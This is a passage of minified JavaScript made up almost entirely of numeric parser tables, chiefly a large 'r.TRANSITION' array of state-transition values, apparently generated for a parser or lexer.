12,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290],r.TRANSITION=[37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,36864,36899,36883,36883,36883,36903,36883,36883,36883,36883,36883,36926,36919,36883,36883,36879,36883,36883,36942,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,39727,39739,37318,37318,72403,39755,36991,37318,37318,41289,37087,37318,37318,37010,39794,37318,37318,37318,37318,65657,40192,38525,37318,37318,39813,40192,39835,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39854,39870,37318,37318,37318,46325,37318,37318,36994,37318,61657,45847,57964,37318,37318,61650,62405,62409,50496,39889,37318,37318,41289,37087,37318,44009,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,45833,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39908,62747,37318,37318,37318,42026,65655,37318,73568,65651,65646,39935,62736,68791,45102,45088,45095,68779,39950,36991,37318,37318,41289,39994,37318,45426,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,39370,40016,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,40039,69458,41098,41041,37318,46044,44842,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,47580,37318,37318,37318,48276,40073,37318,37015,71422,71423,40094,57964,37318,37318,67783,40130,40134,40150,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,40186,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,71599,37318,37318,37318,37318,67919,40209,37318,37318,66772,40222,40225,40241,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,71606,73347,37318,37318,37318,37318,37318,40283,40324,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,40344,37116,37202,37162,40378,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,40416,40432,37318,37318,37318,48315,37318,37318,37526,37318,62612,40451,57964,37318,37318,62605,65082,65086,40487,40535,37318,37318,41289,37087,37318,37318,40554,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38131,40575,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,40598,40656,40697,40697,40697,40663,40736,40697,40698,40727,40642,40679,40626,40693,40745,40613,40752,40714,40768,36991,37318,37318,40817,40815,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,40804,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39